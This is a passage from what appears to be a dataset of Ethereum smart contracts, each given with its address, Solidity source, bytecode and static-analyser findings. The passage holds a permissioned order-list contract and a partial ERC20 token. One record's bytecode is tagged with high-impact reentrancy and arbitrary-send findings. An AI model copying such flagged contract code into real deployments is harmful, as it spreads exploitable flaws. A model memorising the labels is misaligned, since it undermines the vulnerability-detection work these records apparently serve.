1b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ae565b6000611cd66119fd565b90506000611ce483836118fb565b30600090815260026020526040902054909150611d019082611c6d565b30600090815260026020526040902055505050565b600754611d239083611c2b565b600755600854611d339082611c6d565b6008555050565b6000808080611d4e606461148989896118fb565b90506000611d6160646114898a896118fb565b90506000611d7982611d738b86611c2b565b90611c2b565b9992985090965090945050505050565b6000808080611d9888866118fb565b90506000611da688876118fb565b90506000611db488886118fb565b90506000611dc682611d738686611c2b565b939b939a50919850919650505050505050565b8035611de4816121e1565b919050565b600060208284031215611dfb57600080fd5b813561176b816121e1565b600060208284031215611e1857600080fd5b815161176b816121e1565b60008060408385031215611e3657600080fd5b8235611e41816121e1565b91506020830135611e51816121e1565b809150509250929050565b600080600060608486031215611e7157600080fd5b8335611e7c816121e1565b92506020840135611e8c816121e1565b929592945050506040919091013590565b60008060408385031215611eb057600080fd5b8235611ebb816121e1565b946020939093013593505050565b60006020808385031215611edc57600080fd5b823567ffffffffffffffff80821115611ef457600080fd5b818501915085601f830112611f0857600080fd5b813581811115611f1a57611f1a6121cb565b8060051b604051601f19603f83011681018181108582111715611f3f57611f3f6121cb565b604052828152858101935084860182860187018a1015611f5e57600080fd5b600095505b83861015611f8857611f7481611dd9565b855260019590950194938601938601611f63565b5098975050505050505050565b600060208284031215611fa757600080fd5b8135801515811461176b57600080fd5b600060208284031215611fc957600080fd5b5035919050565b60008060408385031215611fe357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561201f57858101830151858201604001528201612003565b81811115612031576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120f35784516001600160a01b0316835293830193918301916001016120ce565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121275761212761219f565b500190565b60008261214957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121685761216861219f565b500290565b60008282101561217f5761217f61219f565b500390565b60006000198214156121985761219861219f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c6b2bb289e6bcf01519b822d5e237f9eb578ae8579355666cedb6ef93e950da64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,244
0x7FEe28eAFA692D39d85204B3Ac2FBc0FC8Ad3Bde
pragma solidity 0.4.18; // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/permissionless/OrderListInterface.sol interface OrderListInterface { function getOrderDetails(uint32 orderId) public view returns (address, uint128, uint128, uint32, uint32); function add(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function remove(uint32 orderId) public returns (bool); function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function getFirstOrder() public view returns(uint32 orderId, bool isEmpty); function allocateIds(uint32 howMany) public returns(uint32); function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32); function addAfterId(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns (bool); function updateWithPositionHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns(bool, uint); } // File: contracts/permissionless/OrderList.sol contract OrderList is PermissionGroups, OrderListInterface { struct Order { address maker; uint32 prevId; uint32 nextId; uint128 srcAmount; uint128 dstAmount; } mapping (uint32 => Order) public orders; // Results of calling updateWithPositionHint. uint constant public UPDATE_ONLY_AMOUNTS = 0; uint constant public UPDATE_MOVE_ORDER = 1; uint constant public UPDATE_FAILED = 2; uint32 constant public TAIL_ID = 1; uint32 constant public HEAD_ID = 2; uint32 public nextFreeId = 3; function OrderList(address _admin) public { require(_admin != address(0)); admin = _admin; // Initializing a "dummy" order as HEAD. orders[HEAD_ID].maker = 0; orders[HEAD_ID].prevId = 0; orders[HEAD_ID].nextId = TAIL_ID; orders[HEAD_ID].srcAmount = 0; orders[HEAD_ID].dstAmount = 0; } function getOrderDetails(uint32 orderId) public view returns ( address maker, uint128 srcAmount, uint128 dstAmount, uint32 prevId, uint32 nextId ) { Order storage order = orders[orderId]; maker = order.maker; srcAmount = order.srcAmount; dstAmount = order.dstAmount; prevId = order.prevId; nextId = order.nextId; } function add( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount ) public onlyAdmin returns(bool) { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); uint32 prevId = findPrevOrderId(srcAmount, dstAmount); return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId); } // Returns false if provided with bad hint. function addAfterId( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId ) public onlyAdmin returns (bool) { uint32 nextId = orders[prevId].nextId; if (!isRightPosition(srcAmount, dstAmount, prevId, nextId)) { return false; } return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId); } function remove(uint32 orderId) public onlyAdmin returns (bool) { verifyCanRemoveOrderById(orderId); // Disconnect order from list Order storage order = orders[orderId]; orders[order.prevId].nextId = order.nextId; orders[order.nextId].prevId = order.prevId; // Mark deleted order order.prevId = TAIL_ID; order.nextId = HEAD_ID; return true; } function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public onlyAdmin returns(bool) { address maker = orders[orderId].maker; require(remove(orderId)); require(add(maker, orderId, srcAmount, dstAmount)); return true; } // Returns false if provided with a bad hint. function updateWithPositionHint( uint32 orderId, uint128 updatedSrcAmount, uint128 updatedDstAmount, uint32 updatedPrevId ) public onlyAdmin returns (bool, uint) { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); // Normal orders usually cannot serve as their own previous order. // For further discussion see Heinlein&#39;s &#39;—All You Zombies—&#39;. require(orderId != updatedPrevId); uint32 nextId; // updatedPrevId is the intended prevId of the order, after updating its // values. // If it is the same as the current prevId of the order, the order does // not need to change place in the list, only update its amounts. if (orders[orderId].prevId == updatedPrevId) { nextId = orders[orderId].nextId; if (isRightPosition( updatedSrcAmount, updatedDstAmount, updatedPrevId, nextId) ) { orders[orderId].srcAmount = updatedSrcAmount; orders[orderId].dstAmount = updatedDstAmount; return (true, UPDATE_ONLY_AMOUNTS); } } else { nextId = orders[updatedPrevId].nextId; if (isRightPosition( updatedSrcAmount, updatedDstAmount, updatedPrevId, nextId) ) { // Let&#39;s move the order to the hinted position. address maker = orders[orderId].maker; require(remove(orderId)); require( addAfterValidId( maker, orderId, updatedSrcAmount, updatedDstAmount, updatedPrevId ) ); return (true, UPDATE_MOVE_ORDER); } } // bad hint. return (false, UPDATE_FAILED); } function allocateIds(uint32 howMany) public onlyAdmin returns(uint32) { uint32 firstId = nextFreeId; require(nextFreeId + howMany >= nextFreeId); nextFreeId += howMany; return firstId; } function compareOrders( uint128 srcAmount1, uint128 dstAmount1, uint128 srcAmount2, uint128 dstAmount2 ) public pure returns(int) { uint256 s1 = srcAmount1; uint256 d1 = dstAmount1; uint256 s2 = srcAmount2; uint256 d2 = dstAmount2; if (s2 * d1 < s1 * d2) return -1; if (s2 * d1 > s1 * d2) return 1; return 0; } function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32) { uint32 currId = HEAD_ID; Order storage curr = orders[currId]; while (curr.nextId != TAIL_ID) { currId = curr.nextId; curr = orders[currId]; int cmp = compareOrders( srcAmount, dstAmount, curr.srcAmount, curr.dstAmount ); if (cmp < 0) { return curr.prevId; } } return currId; } function getFirstOrder() public view returns(uint32 orderId, bool isEmpty) { return ( orders[HEAD_ID].nextId, orders[HEAD_ID].nextId == TAIL_ID ); } function addAfterValidId( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId ) private returns(bool) { Order storage prevOrder = orders[prevId]; // Add new order orders[orderId].maker = maker; orders[orderId].prevId = prevId; orders[orderId].nextId = prevOrder.nextId; orders[orderId].srcAmount = srcAmount; orders[orderId].dstAmount = dstAmount; // Update next order to point back to added order uint32 nextOrderId = prevOrder.nextId; if (nextOrderId != TAIL_ID) { orders[nextOrderId].prevId = orderId; } // Update previous order to point to added order prevOrder.nextId = orderId; return true; } function verifyCanRemoveOrderById(uint32 orderId) private view { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); Order storage order = orders[orderId]; // Make sure such order exists in mapping. require(order.prevId != 0 || order.nextId != 0); } function isRightPosition( uint128 srcAmount, uint128 dstAmount, uint32 prevId, uint32 nextId ) private view returns (bool) { if (prevId == TAIL_ID || nextId == HEAD_ID) return false; Order storage prev = orders[prevId]; // Make sure prev order is either HEAD or properly initialised. if (prevId != HEAD_ID && ( prev.prevId == 0 || prev.nextId == 0 || prev.prevId == TAIL_ID || prev.nextId == HEAD_ID)) { return false; } int cmp; // Make sure that the new order should be after the provided prevId. if (prevId != HEAD_ID) { cmp = compareOrders( srcAmount, dstAmount, prev.srcAmount, prev.dstAmount ); // new order is better than prev if (cmp < 0) return false; } // Make sure that the new order should be before provided prevId&#39;s next order. if (nextId != TAIL_ID) { Order storage next = orders[nextId]; cmp = compareOrders( srcAmount, dstAmount, next.srcAmount, next.dstAmount ); // new order is worse than next if (cmp > 0) return false; } return true; } } // File: contracts/permissionless/OrderListFactory.sol contract OrderListFactory { function newOrdersContract(address admin) public returns(OrderListInterface) { OrderList orders = new OrderList(admin); return orders; } }
0x6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663fccf6e678114610045575b600080fd5b341561005057600080fd5b61007173ffffffffffffffffffffffffffffffffffffffff6004351661009a565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b600080826100a66100e0565b73ffffffffffffffffffffffffffffffffffffffff9091168152602001604051809103906000f08015156100d957600080fd5b9392505050565b60405161196b806100f183390190560060606040526007805463ffffffff19166003179055341561001f57600080fd5b60405160208061196b8339810160405280805160008054600160a060020a03191633600160a060020a039081169190911790915590925082161515905061006557600080fd5b60008054600160a060020a03909216600160a060020a03199092169190911781556002815260066020527f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace2980547fffffffff000000000000000000000000000000000000000000000000000000001678010000000000000000000000000000000000000000000000001790557f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace2a55611849806101226000396000f3006060604052600436106101685763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662d84fd8811461016d57806301a12fd31461019d5780631f38c358146101be578063244c96a1146101f3578063267822471461023657806327a099d814610265578063374ab1c6146102cb578063408ee7fe146102de57806361592b85146102fd578063689f15321461036757806375829def146103d157806377f50f97146103f05780637acc8678146104035780637c423f541461042257806385fcb4a8146104355780639870d7fe1461045a578063a3fb591714610479578063a590529e146104ad578063a5da0bf5146104fe578063ac8a584a14610541578063b39c471814610560578063b7b2c52514610573578063c41c6d5614610586578063c70ad4a314610599578063c92ba8b2146105ac578063cb2f7b87146105e6578063d11dfdec14610614578063f851a44014610627575b600080fd5b341561017857600080fd5b61018963ffffffff6004351661063a565b604051901515815260200160405180910390f35b34156101a857600080fd5b6101bc600160a060020a0360043516610725565b005b34156101c957600080fd5b6101da63ffffffff60043516610895565b60405163ffffffff909116815260200160405180910390f35b34156101fe57600080fd5b6102246001608060020a03600435811690602435811690604435811690606435166108f3565b60405190815260200160405180910390f35b341561024157600080fd5b610249610947565b604051600160a060020a03909116815260200160405180910390f35b341561027057600080fd5b610278610956565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102b757808201518382015260200161029f565b505050509050019250505060405180910390f35b34156102d657600080fd5b6102246109bf565b34156102e957600080fd5b6101bc600160a060020a03600435166109c4565b341561030857600080fd5b61031963ffffffff60043516610ac0565b604051600160a060020a0390951685526001608060020a0393841660208601529190921660408085019190915263ffffffff92831660608501529116608083015260a0909101905180910390f35b341561037257600080fd5b61038363ffffffff60043516610b15565b604051600160a060020a03909516855263ffffffff9384166020860152919092166040808501919091526001608060020a0392831660608501529116608083015260a0909101905180910390f35b34156103dc57600080fd5b6101bc600160a060020a0360043516610b66565b34156103fb57600080fd5b6101bc610c01565b341561040e57600080fd5b6101bc600160a060020a0360043516610c9b565b341561042d57600080fd5b610278610d7d565b341561044057600080fd5b6101da6001608060020a0360043581169060243516610de3565b341561046557600080fd5b6101bc600160a060020a0360043516610ea4565b341561048457600080fd5b61048c610f74565b60405163ffffffff9092168252151560208201526040908101905180910390f35b34156104b857600080fd5b6104e463ffffffff6004358116906001608060020a036024358116916044359091169060643516610fb5565b604051911515825260208201526040908101905180910390f35b341561050957600080fd5b610189600160a060020a036004351663ffffffff6024358116906001608060020a03604435811691606435909116906084351661117b565b341561054c57600080fd5b6101bc600160a060020a03600435166111ee565b341561056b57600080fd5b6101da61135a565b341561057e57600080fd5b6101da611366565b341561059157600080fd5b610224611366565b34156105a457600080fd5b61022461136b565b34156105b757600080fd5b610189600160a060020a036004351663ffffffff602435166001608060020a0360443581169060643516611370565b34156105f157600080fd5b61018963ffffffff600435166001608060020a03602435811690604435166113eb565b341561061f57600080fd5b6101da6109bf565b341561063257600080fd5b61024961145f565b60008054819033600160a060020a0390811691161461065857600080fd5b6106618361146e565b505063ffffffff908116600090815260066020526040808220805460a060020a8082048616855283852080547bffffffff0000000000000000000000000000000000000000000000001990811660c060020a94859004891685021790915583549283048716865293909420805477ffffffff0000000000000000000000000000000000000000199081169286900490961685029190911790558054909316909117167802000000000000000000000000000000000000000000000000179055600190565b6000805433600160a060020a0390811691161461074157600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561076857600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108915781600160a060020a03166005828154811015156107ad57fe5b600091825260209091200154600160a060020a03161415610889576005805460001981019081106107da57fe5b60009182526020909120015460058054600160a060020a03909216918390811061080057fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600580549061083c9060001983016117c4565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610891565b60010161078a565b5050565b60008054819033600160a060020a039081169116146108b357600080fd5b5060075463ffffffff9081169083820116819010156108d157600080fd5b6007805463ffffffff80821686011663ffffffff199091161790559050919050565b60006001608060020a038086169085811690858116908516808402828402101561092157600019945061093b565b8084028383021115610936576001945061093b565b600094505b50505050949350505050565b600154600160a060020a031681565b61095e6117ed565b60048054806020026020016040519081016040528092919081815260200182805480156109b457602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610996575b505050505090505b90565b600181565b60005433600160a060020a039081169116146109df57600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610a0557600080fd5b60055460329010610a1557600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610a9483826117c4565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b63ffffffff90811660009081526006602052604090208054600190910154600160a060020a038216936001608060020a0380831694608060020a909304169260a060020a810483169260c060020a9091041690565b60066020526000908152604090208054600190910154600160a060020a0382169163ffffffff60a060020a820481169260c060020a90920416906001608060020a0380821691608060020a90041685565b60005433600160a060020a03908116911614610b8157600080fd5b600160a060020a0381161515610b9657600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610c1c57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610cb657600080fd5b600160a060020a0381161515610ccb57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610d856117ed565b60058054806020026020016040519081016040528092919081815260200182805480156109b457602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610996575050505050905090565b600260008181526006602052907f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace29825b815460c060020a900463ffffffff16600114610e9757905460c060020a900463ffffffff16600081815260066020526040902060018101549193509190610e7190879087906001608060020a0380821691608060020a9004166108f3565b90506000811215610e9257815460a060020a900463ffffffff169350610e9b565b610e13565b8293505b50505092915050565b60005433600160a060020a03908116911614610ebf57600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610ee557600080fd5b60045460329010610ef557600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610a9483826117c4565b600260005260066020527f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace295460c060020a900463ffffffff16600181149091565b6000805481908190819033600160a060020a03908116911614610fd757600080fd5b63ffffffff881615801590610ff3575063ffffffff8816600214155b8015611006575063ffffffff8816600114155b151561101157600080fd5b63ffffffff888116908616141561102757600080fd5b63ffffffff88811660009081526006602052604090205460a060020a9004811690861614156110dd5763ffffffff80891660009081526006602052604090205460c060020a900416915061107d878787856114f3565b156110d85763ffffffff88166000908152600660205260408120600190810180546001608060020a038a8116608060020a02818d166fffffffffffffffffffffffffffffffff19909316929092171617905594509250611170565b611167565b63ffffffff80861660009081526006602052604090205460c060020a900416915061110a878787856114f3565b15611167575063ffffffff8716600090815260066020526040902054600160a060020a03166111388861063a565b151561114357600080fd5b6111508189898989611660565b151561115b57600080fd5b60018093509350611170565b60006002935093505b505094509492505050565b60008054819033600160a060020a0390811691161461119957600080fd5b5063ffffffff80831660009081526006602052604090205460c060020a9004166111c5858585846114f3565b15156111d457600091506111e4565b6111e18787878787611660565b91505b5095945050505050565b6000805433600160a060020a0390811691161461120a57600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561123157600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108915781600160a060020a031660048281548110151561127657fe5b600091825260209091200154600160a060020a03161415611352576004805460001981019081106112a357fe5b60009182526020909120015460048054600160a060020a0390921691839081106112c957fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061130590826117c4565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610891565b600101611253565b60075463ffffffff1681565b600281565b600081565b60008054819033600160a060020a0390811691161461138e57600080fd5b63ffffffff8516158015906113aa575063ffffffff8516600214155b80156113bd575063ffffffff8516600114155b15156113c857600080fd5b6113d28484610de3565b90506113e18686868685611660565b9695505050505050565b60008054819033600160a060020a0390811691161461140957600080fd5b5063ffffffff8416600090815260066020526040902054600160a060020a03166114328561063a565b151561143d57600080fd5b61144981868686611370565b151561145457600080fd5b506001949350505050565b600054600160a060020a031681565b600063ffffffff82161580159061148c575063ffffffff8216600214155b801561149f575063ffffffff8216600114155b15156114aa57600080fd5b5063ffffffff80821660009081526006602052604090208054909160a060020a909104161515806114e85750805460c060020a900463ffffffff1615155b151561089157600080fd5b600080808063ffffffff861660011480611513575063ffffffff85166002145b156115215760009350611655565b63ffffffff86166000818152600660205260409020935060021480159061159c5750825460a060020a900463ffffffff16158061156a5750825460c060020a900463ffffffff16155b806115835750825460a060020a900463ffffffff166001145b8061159c5750825460c060020a900463ffffffff166002145b156115aa5760009350611655565b63ffffffff86166002146115f25760018301546115de90899089906001608060020a0380821691608060020a9004166108f3565b915060008212156115f25760009350611655565b63ffffffff8516600114611650575063ffffffff84166000908152600660205260409020600181015461163c90899089906001608060020a0380821691608060020a9004166108f3565b915060008213156116505760009350611655565b600193505b505050949350505050565b63ffffffff81811660008181526006602052604080822088851683529082208054600160a060020a031916600160a060020a038b161777ffffffff0000000000000000000000000000000000000000191660a060020a9094029390931780845581547bffffffff0000000000000000000000000000000000000000000000001990911660c060020a9182900486168202178455600193840180546fffffffffffffffffffffffffffffffff19166001608060020a038a8116919091178116608060020a918a16919091021790558154929491939204169081146117825763ffffffff8082166000908152600660205260409020805491891660a060020a0277ffffffff0000000000000000000000000000000000000000199092169190911790555b815463ffffffff881660c060020a027bffffffff0000000000000000000000000000000000000000000000001990911617825560019250505095945050505050565b8154818355818115116117e8576000838152602090206117e89181019083016117ff565b505050565b60206040519081016040526000815290565b6109bc91905b808211156118195760008155600101611805565b50905600a165627a7a723058209b951ff178c132aa9f23a408dc32e4719710472bcabe15294bf9e84aa1e5fa260029a165627a7a723058206dc33cf854b0dfb1c33ef943b0339c86c7094f40ae148825099a9e4c48bb88050029
{"success": true, "error": null, "results": {}}
7,245
0x2373c19e8d230f211782be1600eda3c9d6a31644
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ pragma solidity 0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue 